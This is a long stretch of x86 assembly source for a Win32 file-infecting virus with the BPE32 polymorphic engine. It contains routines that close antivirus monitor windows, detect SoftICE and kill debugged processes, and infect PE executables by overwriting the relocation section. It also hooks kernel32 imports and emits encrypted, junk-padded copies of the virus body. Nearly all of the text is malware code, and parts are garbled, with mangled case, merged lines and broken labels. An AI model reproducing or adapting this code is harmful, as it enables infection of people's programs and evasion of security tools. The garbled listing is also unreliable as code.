Add Edi, VLCB_TSEP
XOR EAX, EAX
Rep stosd; ...
Popad
J_API OldexitProcess; Jump to Original API
Next hookers
Newexitthread:
Call Common_stage
J_API Oldexitthread
NewCloseHandle:
Call Common_stage
J_API OldCloseHandle
NewgetLastError:
Call Common_stage
J_API OldgetLastError
Monitor: Pushad; Store All Registers
Call Szu32; Push Address of String User32.dll
DB 'USER32', 0
SZU32: MOV Eax, 0
DDLOADLIBRARYA = DWORD PTR $ -4; loading user32.dll
Call EAX
XCHG EAX, EBX
Test EBX, EBX
JE END_MON2; Quit IF Error
Call Findwindowa; Push Address of String Findwindowa
DB 'FindWindowa, 0
Findwindowa:
Push Ebx; Push Lib Handle
MOV EAX, 0
DDGETPROCADDRESS = DWORD PTR $ -4; Get Address of Findwindowa API
Call EAX
XCHG Eax, ESI
Test ESI, ESI
JE END_MON; Quit IF Error
Call PostMessagea; Push Address of String PostMessagea
DB 'PostMessagea', 0
Postmessagea:
Push EBX
Call [EBP DDGETPROCADDRESS - MGDELTA]; Get Address of PostMessageaxchg Eax, EDI
Test EDI, EDI
JE END_MON; Quit IF Error
MOV ECX, 3; Number of Monitors
Call monitors; Push Address of strings
DB 'AVP MONITOR', 0; AVP MONITOR
DB 'AMON ANTIVIRUS MONITOR', 0; AMON ENGLISH VERSION
DB 'Antiv? Rusov? Monitor amon', 0; Amon Slovak Version
Monitors:
POP EDX; POP Address
K_MON: Pushhad; Store All Registers
XOR EBP, EBP
Push Edx
Push EBP
Call ESI; FIND WINDOW
Test Eax, EAX
JE next_mon; quit if not found
Push EBP
Push EBP
Push 12h; wm_quit
Push EAX
Call Edi; Destroy WINDOW
Next_mon:
Popad; restore all registers
PUSH ESI
MOV ESI, EDX
@EnDsz; get to next string
Mov Edx, ESI; Move It To Edx
POP ESI
LOOP K_MON; TRY Another Monitor
END_MON: PUSH EBX; Push Lib Handle
MOV EAX, 0
DDFREELIBRARY = DWORD PTR $ -4
Call Eax; Unload Library
END_MON2:
Popad; restore all registers
JMP D_WR; and quit
Debug2: Lea EBX, [EBP SICE95 - MGDELTA]; Address of Softice Driver String
Call Open_Driver; Open Driver
INC EAX; is eax == 0?
JE n_sice; yeah, softice is not present
Dec EAX
Call Close_Driver; Close Driver
JMP D_WR; and quit
N_sice: Lea EBX, [EBP SICENT - MGDELTA]; Address of Softice Driver String
Call Open_Driver; Open Driver
INC EAX
JE N2_DB; Quit if not present
Dec EAX
Call Close_Driver; Close Driver
JMP D_WR; and quit
Debug1: Push DWORD PTR [ESI.WFD_SZALTERNATEFILENAME]; Push ID Number Of Process
PUSH 0
Push 1
MOV EAX, 0
DDOpenProcess = DWORD PTR $ -4
Call Eax; Open Process
Test Eax, EAX
JNE N1_DB
N2_DB: Call T_Write; Quit IF Error
JMP M_THRD
N1_DB: PUSH 0
Push EAX
MOV EAX, 0
DDTERMINATEPROCESS = DWORD PTR $ -4; Destroy Debugged Process:) Call Eax
JMP T_WRITE
MTHREAD: PUSHAD; Main IPC THREAD
@Seh_setupframe; setup SEH FRAME
Call gtdelta; get delta
M_thrd: Mov Edx, 0; Get Thread ID Number
T_Number = DWORD PTR $ -4
MOV ECX, VLCB_Waitget
Lea ESI, [EBP DATA_BUFFER - MGDELTA]
Call get_set_vlcb; Wait for Request
Dec ECX
Jecxz quit; quit
Dec ECX
JECXZ Check; Check file
CMP ECX, 1
JE Infect; Check and Infect File
CMP ECX, 2
Je Debug1; Check for Debugger
CMP ECX, 3
Je Debug2; Check for Softice
CMP ECX, 4
JE Monitor; Kill Av Monitors
PUSH 0
Call [EBP DDSLEP - MGDELTA]; Switch To Next Thread
JMP M_THRD; And Again ...
Quit: Call T_Write; WRITE RESULT
END_MTHREAD:
@Seh_removeframe; Remove SEH FRAME
Popad; restore all registers
Ret; and quit from thread
T_Write: xor ECX, ECX; SET RESULT
Inc ECX
T_WR: Inc ECX
MOV DWORD PTR [ESI.WFD_SZALTERNATEFILENAME], ECX; Write IT
MOV ECX, VLCB_SETWAIT; SET and WAIT
Mov EDX, [EBP T_Number - Mgdelta]; this Thread
Call get_set_vlcb; ipc!
RET
Check: @seh_setupframe; setup SEH FRAME
Call Checkfile; Check File
Jecxz err_scheck; quit if Error
_C1_ok: @seh_removeframe; Remove SEH FRAME
Call T_Write; Write Result
JMP M_THRD; and quit
Err_scheck:
@Seh_removeframe; Remove SEH FRAME
D_WR: XOR ECX, ECX
Call T_Wr; Write Result
JMP M_THRD; and quit
Infect: @seh_setupframe; Setup SEH FRAME
Call infectfile; Check and Infect File
JMP _C1_OK; and quit
Infectfile:
Lea ESI, [ESI.WFD_SZFILENAME]; GET FileName
Pushhad
XOR EAX, EAX
Push EAX
Push file_attribute_normal
Push Open_EXISTING
Push EAX
Push EAX
Push generic_read or generic_write
PUSH ESI
MOV EAX, 0
DDCREATEFILEA = DWORD PTR $ -4Call Eax; Open File
INC EAX
Je r_attr; quit if error
Dec EAX
MOV [EBP HFILE - MGDELTA], EAX; Save Handle
XOR EDX, EDX
Push Edx
Push Edx
Push Edx
Push Page_Readwrite
Push Edx
Push EAX
MOV EAX, 0
DDCREATEFILEMAPPINGA = DWORD PTR $ -4
Call Eax; Create file mapping
XCHG EAX, ECX
Jecxz endcreatemapping; quit if error
MOV [EBP HMAPFILE - MGDELTA], ECX; Save Handle
XOR EDX, EDX
Push Edx
Push Edx
Push Edx
Push file_map_write
Push ECX
MOV EAX, 0
DDMapViewoffile = DWORD PTR $ -4
Call Eax; Map View Of File
XCHG EAX, ECX
Jecxz endmapfile; quit if error
MOV [EBP LPFILE - MGDELTA], ECX; Save Base Address
JMP Nopen
EndmapFile:
Push_Large_0; Store Base Address
LPFILE = DWORD PTR $ -4
MOV EAX, 0
DDUNMAPVIEWOFFILE = DWORD PTR $ -4
Call Eax; Unmap View of File
Endcreatemapping:
Push_Large_0; Store Handle
HMAPFILE = DWORD PTR $ -4
Call [EBP DDCLOSEHANDLE - MGDELTA]; Close File Mapping
Lea Eax, [EBP DATA_BUFFER.WFD_FTLASTWRITIME - MGDELTA]
Push EAX
Lea Eax, [EBP DATA_BUFFER.WFD_FTLASTACCESSTIME - MGDELTA]
Push EAX
Lea EAX, [EBP DATA_Buffer.wfd_ftcreationTIME - MGDELTA]
Push EAX
Push DWORD PTR [EBP HFILE - MGDELTA]
MOV EAX, 0
DDSETFILETIME = DWORD PTR $ -4
Call Eax; Set Back File Time
Push_Large_0; Store Handle
Hfile = DWORD PTR $ -4
Call [EBP DDCLOSEHANDLE - MGDELTA]; Close File
R_ATTR: PUSH DWORD PTR [EBP DATA_BUFFER - MGDELTA]
Lea ESI, [EBP DATA_Buffer.wfd_szFileName - Mgdelta]
Push ESI; FileName
Call [EBP DDSETFILEATTRIBUTESA - MGDELTA]; SET Back File Attributes
JMP C_ERROR; and quit
NOPEN: MOV EBX, ECX
CMP Word PTR [EBX], Image_DOS_SIGNATURE; MUST BE MZ
Jne EndmapFile
Mov ESI, [EBX.MZ_LFANEW]
Add ESI, EBX
Lodsd
CMP EAX, Image_NT_SIGNATURE; MUST BE PE / 0/0
Jne EndmapFile
CMP Word PTR [ESI.FH_MACHINE], Image_FILE_MACHINE_I386; MUST BE 386
Jne EndmapFile
MOV AX, [ESI.FH_CHARACTERISTICS]]
Test AX, Image_File_executable_Image; Must Be Executable
Je endmapfile
Test AX, Image_File_dll; MustNT Be DLL
Jne EndmapFile
Test AX, Image_File_System; MustNT Be System File
Jne EndmapFile
MOV Al, Byte Ptr [ESI.OH_SUBSYSTEM]
TEST Al, Image_Subsystem_native; And MustNT Be Driver (Thanx Griyo!)
Jne EndmapFile
Movzx ECX, Word Ptr [ESI.FH_NUMBEROFSECTIONS]; Must Be More Than ONE Section
Dec ECX
Test ECX, ECX
Je endmapfile
Imul Eax, ECX, Image_SizeOf_SECTION_HEADER
Movzx EDX, Word Ptr [ESI.FH_SIPEOFOPTIONALHEADER]
Lea EDI, [EAX EDX Image_SizeOf_File_Header]
Add Edi, ESI; GET TO Section Header
Lea Edx, [ESI.NT_OPTIONALHEADER.OH_DATADIRECTORY.DE_BASERELOC.DD_VIRTUALADDRESS-4]
MOV EAX, [EDX]
Test Eax, EAX
Je endmapfile; quit if no relocs
MOV ECX, [EDI.SH_VIRTUALADDRESS]
CMP ECX, EAX
JNE ENDMAPFILE; Is it.Reloc Section?
CMP [EDI.SH_SIZEOFRAWDATA], 1A00H
JB endmapfile; check if.Reloc is Big Enough
Pushhad
XOR EAX, EAX
MOV EDI, EDX
Stosd; Erase.Reloc Records
Stosd
Popad
Mov Eax, EBX; Now We Will Try To
XOR ECX, ECX; PATCH
IT_PATCH:
Pushad; One API Call
MOV EDX, DWORD PTR [EBP CRCPAPIS ECX * 4 - MGDELTA]; Get CRC32
Test EDX, EDX
JNE C_PATCH
Popad
JMP end_patch; quit if end of record
C_PATCH: Push DWORD PTR [EDI.SH_VIRTUALADDRESS]; PATCH ADDRESS
Push EDX; CRC32
MOV [EBP R2RP - MGDELTA], EAX; Infection Stage
Call Patchit; Try to Patch Api Call
MOV [ESP.PUSHAD_EDX], EAX; Save Address
Test Eax, EAX
Popad
Jne end_patch; quit if we got addressinc ECX
JMP IT_PATCH; API CALL NOT Found, Try Another API
End_patch:
MOV EAX, EDX
Mov Edx, [ESI.NT_OPTIONALHEADER.OH_IMAGEBASE-4]; Get Image Base
MOV [EBP COMPRESSED MGDELTA], EDX; SAVE IT
Lea EDX, [EBP COMPRESSED (DDAPI-DECOMPRESSED) - MGDELTA]
Push DWORD PTR [EDX]; Store Prev. API CALL
MOV [EDX], EAX; Save New One
Pushad; Store All Registers
Lea ESI, [EBP COMPRESSED (Vulcanoinit-Decompressed) - MGDELTA]
Mov edi, [edi.sh_pointertorawdata]
Add Edi, EBX; WHERE to WRITE BODY
MOV ECX, (Decompressed-Vulcanoinit 3) / 4; Size of Virus Body
Call BPE32; Write Morphed Body To File!
Mov [ESP.PUSHAD_EAX], EAX; Save Size
Popad
POP DWORD PTR [EDX]; Restore API CALL
OR DWORD PTR [EDI.SH_CHARACTERISTICS], image_scn_mem_read or image_scn_mem_write
Set Flags
Lea ECX, [EDI.SH_VIRTUALSIZE]; GET VIRTUAL SIZE
Add [ECX], EAX; Correct IT
MOV ECX, [ESI.NT_OPTIONALHEADER.OH_FILALIGNMENT-4]
XOR EDX, EDX
Div ECX
INC EAX
Mul ECX
Mov edx, [edi.sh_sizeofrawdata]
Mov [edi.sh_sizeofrawdata], Eax; Align SizeOfrawData
Test DWORD PTR [EDI.SH_CHARACTERISTICS], image_scn_cnt_initialized_data
Je rs_ok
Sub Eax, EDX
Add [eSI.nt_optionalHeader.oh_sizeofinitializedData-4], EAX
Update Next Field, if Needed
RS_OK: MOV EAX, [EDI.SH_VIRTUALADDRESS]
Add eax, [edi.sh_virtualsize]
XOR EDX, EDX
Mov ECX, [ESI.NT_OPTIONALHEADER.OH_SECTIONALIGNMENT-4]
Div ECX
INC EAX
Mul ECX
MOV [ESI.nt_OptionalHeader.oh_sizeofimage-4], Eax; New SizeOfimage
JMP endmapfile; everything is ok, we can quit
Checkfile:
Pushhad
MOV EBX, ESI
TEST [EBX.WFD_DWFILEATTRIBUTES], FILE_ATTRIBUTE_DIRECTORY
JNE C_ERROR; Discard Directory Entries
XOR ECX, ECX
CMP [EBX.WFD_NFILESIZEHIGH], ECX; Discard Files> 4Gbjne C_ERROR
Mov Edi, [EBX.WFD_NFILESZELOW]
CMP EDI, 4000H; Discard Small Files
JB C_ERROR
Lea ESI, [EBX.WFD_SZFILENAME]; GET FileName
PUSH ESI
ENDF: LODSB
CMP Al, '.'; Search for Dot
JNE ENDF
Dec ESI
Lodsd; Get FileName Extension
OR Eax, 20202020h; Make It Lowercase
NOT EAX; Mask IT
POP ESI
CMP EAX, NOT 'EXE.'; Is IT EXE?
JE Extok
CMP EAX, NOT 'RCS.'; Is IT SCR?
JE Extok
CMP EAX, NOT 'XFS.'; Is IT SFX?
JE Extok
CMP EAX, NOT 'LPC.'; Is IT CPL?
JE Extok
CMP EAX, NOT 'TAD.'; Is IT Dat?
JE Extok
CMP EAX, Not 'Kab.'; Is IT Bak?
JE Extok
XOR ECX, ECX
Inc ECX
C_ERROR: MOV [ESP.PUSHAD_ECX], ECX; Save Result
Popad
RET
Extok: push file_attribute_normal; Normal File
Push ESI; FileName
MOV EAX, 0
DDSETFILEATTRIBUTESA = DWORD PTR $ -4
Call Eax; Blank File Attributes
XCHG EAX, ECX
JMP C_ERROR
GET_SET_VLCB:; Get / Set VLCB Records Procedure (IPC)
; Input: ECX - 0 = SET / WAIT ELSE WAIT / GET
ESI - Pointer to Data, IF ECX! = 0
EBX - ID NUMBER OF Request
; EDX - -1, IF Random Thread, Otherwise
Number of thread.
; Output: ECX - IF INPUT ECX! = 0, ECX = ID
; - if Error, ECX = -1
; EDX - IF ECX! = 0, NUMBER OF THREAD
ESI - PTR to Data, IF INPUT ECX = 0
Mov EDI, 0
VLCBBASE = DWORD PTR $ -4
Inc EDX
JE T_RND; Get Random Record
Dec edx
Imul Eax, EDX, VLCB_TSIZE-8
Add Edi, EAX
JECXZ SW_VLCB
CMP DWORD PTR [EDI.VLCB_TSEP.VLCB_THANDLE], 0
JE QQ
Call W_wait; Wait for Free Mutex
Pushhad
XCHG ESI, EDI
Lea ESI, [ESI.VLCB_TSEP.VLCB_TDATA]
MOV ECX, (VLCB_TSIZE-8) / 4
Rep Movsd; Copy Data
Popad
MOV ECX, [EDI.VLCB_TSEP.VLCB_TID]; get ID
Push ECX
Call R_Mutex; Release MUTEXPOP ECX
Ret; and quit
T_Next: Add Edi, VLCB_TSIZE-8; Move to Next Record
Inc EDX
Loop Tsrch
QQQ: POP ECX
QQ: XOR ECX, ECX
Dec ECX
RET
T_rnd: Push Ecx; Pass ThRU 20 Records
PUSH 20
POP ECX
XOR EDX, EDX
Tsrch: CMP DWORD PTR [EDI.VLCB_TSEP.VLCB_THANDLE], 0
JE T_Next; Check if ITS Free
POP ECX
SW_VLCB: Call W_Wait; Wait for Free Mutex
Pushhad
Lea edi, [edi.vlcb_tsep.vlcb_tdata]
MOV ECX, (VLCB_TSIZE-8) / 4
Rep Movsd; Copy Data
Popad
MOV [edi.vlcb_tsep.vlcb_tid], EBX
Pushhad
Lea ESI, [EDI.VLCB_TSEP.VLCB_TDATA.WFD_SZALTERNATEFILENAME]
MOV EBP, [ESI]; Get Result
Call R_Mutex; Signalize Mutex
SLP: Call Sleep; Switch To Next Thread
CMP [ESI], EBP; Check for Change
Je SLP; No Change, Wait
Popad
XOR ECX, ECX
Ret; quit
W_wait: Call Open_Mutex; Open Mutex
Push EAX
Push 10000; Wait 10 Seconds
Push EAX
MOV EAX, 0
DDWAITFORSINGLEOBJECT = DWORD PTR $ -4
Call EAX
Test Eax, EAX
POP EAX
JNE QQQ; Quit if not signalize
Call Close_Mutex; Close Mutex
Ret; and quit
Open_mutex:
Lea Eax, [edi.vlcb_tsep.vlcb_thandle]; Name of Mutex
Push EAX
PUSH 0
Push 0F0000h or 100000h or 1; Access Flags
MOV EAX, 0
DDOPENMUTEXA = DWORD PTR $-4; Open Mutex
Call EAX
RET
R_Mutex: Call Open_Mutex; Open Mutex
Push EAX
Push EAX
MOV EAX, 0
DDRELESEMUTEX = DWORD PTR $ -4
Call Eax; Singalize Mutex
POP EAX
Close_Mutex:
Push EAX
MOV EAX, 0
DDCloseHandle = DWORD PTR $ -4
Call Eax; Close Mutex
RET
Sleep: Push 0; Switch to Next Thread
MOV EAX, 0
DDSLEP = DWORD PTR $ -4
Call Eax; Switch!
RET
Check & Infect:
Pushhad
Mov ESI, EBX; Get Ptr to Data
Pushhad
Call VLCB_STUPH; Common Stuph
MOV EBX, VLCB_CHECK; Check ONLY
Call get_set_vlcb; ipc!
Inc ECX
Popad
JE _RET_; Quit if ErrorMov Eax, DWORD PTR [ESI.WFD_SZALTERNATEFILENAME]
Dec EAX
Test Eax, EAX
JE _RET_
SC1_OK: CALL VLCB_STUPH; Common Stuph
MOV EBX, VLCB_INFECT; Check and Infect
Call get_set_vlcb; ipc!
_RET_: POPAD
RET
CRC32: PUSH ECX; Procedure to Calculate CRC32
Push Edx
Push EBX
XOR ECX, ECX
Dec ECX
MOV EDX, ECX
Nextbytecrc:
XOR EAX, EAX
XOR EBX, EBX
Lodsb
XOR Al, Cl
MOV CL, CH
MOV CH, DL
MOV DL, DH
MOV DH, 8
NextbitCrc:
SHR BX, 1
RCR AX, 1
JNC NOCRC
XOR AX, 08320H
XOR bx, 0edb8h
NOCRC: DEC DH
JNZ nextbitCrc
XOR ECX, EAX
XOR EDX, EBX
Dec Edi
JNE NEXTBYTECRC
Not Edx
NOT ECX
POP EBX
MOV EAX, EDX
ROL EAX, 16
MOV AX, CX
POP EDX
POP ECX
RET
Searchet:; Procedure for Recieving API Names from Export Table
Pushad; save all registers
@Seh_setupframe; setup SEH FRAME
Mov edi, [eax.mz_lfanew]; get PTR to PE Header
Add Edi, Eax; Make Pointer RAW
MOV ECX, [edi.nt_optionalheader.oh_directoryentries.de_export.dd_size]
Jecxz address_not_found; quit, if no exports
MOV EBX, EAX
Add ebx, [edi.nt_optionalheader.oh_directoryentries.de_export.dd_virtualaddress]
Mov EDX, EX; Get RVA to Export Table
Add edx, [ebx.ed_addressofnames]; Offset to Names
MOV ECX, [EBX.ED_NUMBEROFNAMES]; Number of Name
Mov EDI, ESI
Push EDI
XCHG EAX, EBP
XOR EAX, EAX
Apiname: Push EAX
MOV ESI, EBP
Add ESI, [EDX EAX * 4]; Get to API Name
PUSH ESI
@Endsz; get to the end of api name
Sub ESI, [ESP]; Get Size of API Name
MOV EDI, ESI; To EDI
POP ESI; Restore Ptr To API Name
Call CRC32; Get ITS CRC32
Mov EDI, [ESP 4]; Get Requested CRC32
CMP Eax, [EDI]; IS IT SAME
POP EAX
Je mcrc; yeah
Nchar: Inc Eax; NO, Increment Counter
Loop Apiname; and get next API Name
POP Eax; Clean Stack
Address_not_found: xor eax, eax; and quit
JMP Endgpa
MCRC: POP EDX
MOV EDX, EBP
Add Edx, [ebx.ed_addressofordinals]; Skip over Ordinals
Movzx Eax, Word PTR [EDX EAX * 2]
CMP EAX, [ebx.ed_numberoffunctions]]
JAE Address_not_found
MOV EDX, EBP
Add Edx, [ebx.ed_addressoffunctions]; Get Start of Function Addresses
Add EBP, [EDX EAX * 4]; Make it it Pointer to Our API
XCHG EAX, EBP; Address to EAX
Endgpa: @seh_removeframe; Remove SEH FRAME
Mov [ESP.PUSHAD_EAX], EAX; Store Address
Popad; restore all registers
Ret; and quit
A_GO: INC ESI; Jump over alignments
Inc ESI
Pushad; Store All Registers
XOR EDX, EDX; Zero EDX
XCHG Eax, ESI
Push 2
POP ECX
Div ECX
Test EDX, EDX
JE END_ALIGN; No alignments needed
INC Eax; Align API Name
END_ALIGN:
Mul ECX
MOV [ESP.PUSHAD_ESI], EAX
Popad; restore all registers
RET
PATCHIT PROC; Procedure for Patching API Calls
Pushad; Store All Registers
@Seh_setupframe; setup SEH FRAME
Call ITDLTA
ITDELTA: DB 0B8H
ITDLTA: POP EBP
MOV [EBP GMH - ITDELTA], EAX; Save IT
MOV EBX, [Eax.mz_LFanew]; Get to PE Header
Add Ebx, Eax; Make Pointer Raw
Push dword PTR [ebx.nt_optionalheader.oh_directoryentries.de_import.dd_virtualaddress]
Call Rva2Raw
POP EDX
Sub Edx, Image_SizeOf_Import_Descriptor
Push EDI
N_dll: POP EDI
Add Edx, Image_SizeOf_Import_Descriptor
Lea EDI, [EBP SZK32 - ITDELTA]; Get Kernel32 Name
MOV ESI, [EDX]
Test ESI, ESI
Je endpit
SDLL: Push DWORD PTR [edx.id_name]
Call Rva2Raw
POP ESI
Push EDI
Cmpsd; Is IT K32?
JNE N_DLL
Cmpsd
JNE N_DLL
Cmpsd
JNE N_DLL
POP EDI
XOR ECX, ECX; Zero Counter
Push dword ptr [edx.id_originalfirstthunk]; Get First Record
Call Rva2Raw
POP ESI
Push DWORD PTR [ESI]; Get First API Name
Call RVA2RAWPOP ESI
Pit_align:
Call A_GO
Push ESI; Store Pointer
@Endsz; get to the end of api name
Mov EDI, ESI
Sub EDI, [ESP]; Move Size of API Name to EDI
POP ESI; Restore Pointer
Push Eax; Store EAX
Call CRC32; Calculate CRC32 of API Name
CMP Eax, [Esp.cpushad 10h]; Check, IT IS Requested API
JE A_OK; YEAH, IS IS
Inc ECX
MOV Eax, [ESI]; Check, IF The Is Next API
Test Eax, EAX; ...
POP Eax; Restore EAX
JNE Pit_Align; Yeah, Check IT
JMP endpit; no, quit
A_ok: POP Eax; Restore EAX
Push DWORD PTR [edx.id_firstthunk]; get address to iaat
Call Rva2Raw
POP EDX
MOV EAX, [EDX ECX * 4]; Get Address
MOV [ESP.PUSHAD_EAX 8], EAX; and Save It to Stack
Pushad; Store All Registers
MOV Eax, 0; Get Base Address of Program
GMH = DWORD PTR $ -4
Mov ebx, [eax.mz_lfanew]
Add Ebx, EAX; Get Pe Header
Push dword PTR [ebx.nt_optionalheader.oh_baseofcode]; get base of code
Call Rva2RAW; Normalize
POP ESI; To ESI
Mov ECX, [ebx.nt_optionalheader.oh_sizeofcode]; and ITS Size
Pushhad
Call p_var
DD?
P_VAR: Push Page_execute_readwrite
Push ECX
PUSH ESI
MOV EAX, 0
DDVIRTUALPROTECT = DWORD PTR $ -4
Call Eax; Set Writable Right
Test Eax, EAX
Popad
Je endpit
SJMP: MOV DL, [ESI]; Get Byte from Code
Inc ESI
CMP DL, 0FFH; Is IT JMP / CALL?
JNE LJMP; Check, IT IS
CMP Byte PTR [ESI], 25H; JMP DWORD PTR [xxxxxxxh]
Je git1
CMP Byte PTR [ESI], 15H; or Call Dword PTR [xxxxxxxh]
JNE LJMP
MOV DL, 0E8H
JMP git2
Git1: MOV DL, 0E9H
Git2: MOV [EBP J_OR_C - ITDELTA], DL; Change Opcode
Mov edi, [ebx.nt_optionalheader.oh_directoryentries.de_import.dd_virtualaddress]
Add edi, [ebx.nt_optionalheader.oh_directoryentries.de_import.dd_size]
Push ECX
MOV ECX, [EBX.NT_OPTIONALHEADER.OH_IMAGEBASE] Add Edi, ECX
Push EBP
MOV EBP, [ESI 1]
Sub EBP, ECX
Push EBP
Call Rva2Raw
POP EBP
Sub EBP, EAX
Add EBP, ECX
SUB EDI, EBP
POP EBP
POP ECX
JS LJMP; Check, IT IS Correct Address
Push ECX
Push Edx; Store EDX
Mov Edx, [ESP.PUSHAD_ECX 8]; Get Counter
Imul EDX, 4; Multiply IT by 4
Add edx, [ESP.PUSHAD_EDX 8]; add address to it to ptr
Sub EDX, EAX
MOV ECX, [ESI 1]
SUB ECX, [ebx.nt_optionalheader.oh_imagebase]
Push ECX
Call Rva2Raw
POP ECX
SUB ECX, EAX
CMP EDX, ECX; IS IT CURRENT Address
POP EDX
POP ECX; Restore EDX
JNE SJMP; NO, Get Next Address
MOV Eax, [ESI 1]
Mov [Esp.cpushad.pushad_eax 8], Eax; Store Register to Stack
MOV [ESP.PUSHAD_ESI], ESI; for L8R USE
Popad; restore all registers
MOV BYTE PTR [ESI-1], 0E9H; Build Jmp OR CALL
J_OR_C = Byte PTR $ -1
MOV EBX, [ESI 1]
MOV EAX, [ESP.CPUSHAD 10H]; Get Address
Add Eax, [EBP GMH - ITDELTA]
Sub Eax, ESI; - CURRENT ADDRESS
SUB EAX, 4; 1-5
MOV [ESI], Eax; Store Built JMP Instruction
MOV Byte Ptr [ESI 4], 90H
XCHG EAX, EBX
JMP endit; and quit
LJMP: DEC ECX
JECXZ ENDPIT-1
JMP SJMP; Search in a loop
Popad; restore all registers
Endpit: xor Eax, EAX
MOV [ESP.PUSHAD_EAX 8], EAX
Endit: @seh_removeframe; Remove SEH FRAME
Popad; restore all registers
Ret 8; and quit
Patchit ENDP
Rva2raw: Pushad; Procedure for Converting Rvas to Raw Pointers
MOV ECX, 0; 0 if Actual Program
R2RP = DWORD PTR $ -4
Jecxz NR2R
Mov Edx, [ESP.CPUSHAD 4]; no comments needed :)
Movzx ECX, Word Ptr [ebx.nt_fileHeader.fh_Numberofsections]
Movzx ESI, Word Ptr [ebx.nt_fileHeader.fh_sizeofoptionalheader]
Lea ESI, [ESI EBX Image_SizeOf_File_Header 4] n_r2r: Mov Edi, [ESI.SH_VIRTUALADDRESS]
Add Edi, [ESI.SH_VIRTUALSIZE]
CMP EDX, EDI
JB C_R2R
Add ESI, Image_SizeOf_section_Header
LOOP N_R2R
Popad
RET
NR2R: Add [Esp.cpushad 4], EAX
Popad
RET
C_R2R: add eax, [esi.sh_pointertorawdata]
Add Eax, EDX
Sub Eax, [ESI.SH_VIRTUALADDRESS]
Mov [ESP.CPUSHAD 4], EAX
Popad
RET
Newthread:; Thread Starts Here
Pushad; Store All Registers
@Seh_setupframe
MOV EBP, [ESP 2CH]; Get Delta Parameter
XOR ECX, ECX; Zero ECX
And DWORD PTR [EBP R2RP - GDELTA], 0
G_hook: MOV Eax, [EBP Newhookers ECX * 4 - GDELTA]; Take Address to Hooker
TEST EAX, EAX; is it 0?
Je Q_HOOK; YEAH, Quit
Add Eax, EBP
SUB EAX, [EBP GMHA - GDELTA]
Push Eax; Store Address
Push DWORD PTR [EBP CRCHAPIS ECX * 4 - GDELTA]; Store CRC32
MOV EAX, 0
GMHA = DWORD PTR $ -4
Call Patchit; and patch import table
MOV ESI, [EBP Oldhookers ECX * 4 - GDELTA]
Add ESI, EBP
MOV [ESI], Eax; Save Old Hooker
Inc ECX; Increment Counter
JMP G_HOOK; LOOP
Q_HOOK: @seh_removeframe
Popad; restore all registers
Ret; and Terminate Thread
; BPE32 (Benny's Polymorph Engine for Win32) Starts Here. U CAN FIND FIRST
Version of BPE32 IN DDT # 1 E-Zine. But Unfortunately, How IT Usualy Goes,
There WERE TWO, Really Silly / Tiny Bugs. i Found Them and Corrected Them. So,
; if u wanna us BPE32 in Your Code, Use this Version, Not That Version from
DDT # 1. Very Big Sorry To Everyone, WHO HAD / HAS / WILL HAVE Problems with it.
I Also include There Salc opcode as a junk instruction.
BPE32 PROC
Pushad; save all regs
Push EDI; Save these Regs for L8R USE
Push ECX; ...
Mov Edx, EDI; ...
Push ESI; Preserve this Regcall Rjunk; Generate Random Junk Instructions
POP ESI; Restore IT
MOV Al, 0e8h; Create Call Instruction
Stosb; ...
Mov Eax, ECX; ...
Imul Eax, 4; ...
Stosd; ...
Mov Eax, EDX; Calculate Size of Call Junx
Sub EDX, EDI; ...
NEG EDX; ...
Add Edx, Eax; ...
Push EDX; Save IT
Push 0; Get Random Number
Call Random; ...
XCHG EDX, EAX
MOV [EBP XOR_KEY - MGDELTA], EDX; Use it as xor constant
Push 0; Get Random Number
Call Random; ...
XCHG EBX, EAX
MOV [EBP Key_inc - Mgdelta], EBX; Use IT As Key Increment Constant
X_Loop: Lodsd; Load Dword
XOR EAX, EDX; Encrypt IT
StOSD; Store Encrypted DWORD
Add Edx, EBX; Increment Key
Loop X_Loop; Next DWORD
Call Rjunk; Generate Junx
Mov Eax, 0006E860H; Generate SEH HANDLER
Stosd; ...
MOV EAX, 648B0000H; ...
Stosd; ...
MOV EAX, 0CEB0824H; ...
Stosd; ...
Greg0: Call Get_reg; Get Random Register
CMP Al, 5; Must Not Be EBP REGOSTER
Je Greg0
MOV BL, Al; Store Register
MOV DL, 11; Proc Parameter (Do Not Generate MOV)
Call make_xor; Create Xor or subintruction
Inc EDX; Destroy Parameter
MOV Al, 64h; Generate FS:
StoSB; Store IT
Mov Eax, 896430ffh; Next SEH INSTRUCTIONS
OR AH, BL; Change Register
StOSD; store them
MOV Al, 20H; ...
Add Al, BL; ...
Stosb; ...
Push 2; Get Random Number
Call Random
Test Eax, EAX
JE _BYTE_
MOV Al, 0FEH; Generate Inc DWORD PTR
JMP _DW_
_BYTE_: MOV AL, 0FFH; Generate Inc Byte PTR
_DW_: Stosb; Store IT
Mov Al, BL; Store Register
Stosb; ...
MOV Al, 0ebh; Generate Jump Short
Stosb; ...
MOV Al, -24D; Generate Jump to Start of Code (Trick
Stosb; for better emulators, e.g. nodice32)
Call Rjunk; Generate Junx
Greg1: Call Get_reg; Generate Random Register
CMP Al, 5; Must Not Be EBPJEG1
MOV BL, Al; Store IT
Call make_xor; generate xor, subs reg, reg or mov reg, 0
MOV Al, 64H; Next SEH INSTRUCTIONS
Stosb; ...
MOV Al, 8FH; ...
Stosb; ...
MOV Al, BL; ...
Stosb; ...
MOV Al, 58h; ...
Add Al, BL; ...
Stosb; ...
Mov al, 0e8h; Generate Call
Stosb; ...
XOR EAX, Eax; ...
Stosd; ...
Push EDI; Store for L8R USE
Call Rjunk; Call Junk Generator
Call get_reg; random register
MOV BL, Al; Store IT
Push 1; Random Number (0-1)
Call Random; ...
Test Eax, EAX
JNE NEXT_DELTA
MOV Al, 8bh; Generate Mov REG, [ESP]; POP EAX
Stosb
MOV Al, 80h
OR Al, BL
ROL Al, 3
Stosb
MOV Al, 24h
Stosb
MOV Al, 58H
JMP BDELTA
Next_delta:
MOV Al, BL; Generate Pop Reg; Sub Reg, ...
Add Al, 58H
BDELTA: Stosb
MOV Al, 81H
Stosb
Mov al, 0e8h
Add Al, BL
Stosb
POP EAX
Stosd
Call Rjunk; Random Junx
XOR BH, BH; Parameter (First Execution Only)
Call Greg2; Generate Mov SourceReg, ...
MOV Al, 3; Generate Add SourceReg, Deltaoffset
Stosb; ...
MOV Al, 18h; ...
OR Al, Bh; ...
ROL Al, 3; ...
OR Al, BL; ...
Stosb; ...
MOV ESI, EBX; Store EBX
Call Greg2; Generate Mov Countreg, ...
Mov CL, BH; Store Count Register
MOV EBX, ESI; Restore EBX
Call Greg3; Generate Mov KeyReg, ...
Push EDI; Store this position for jump to decryptor
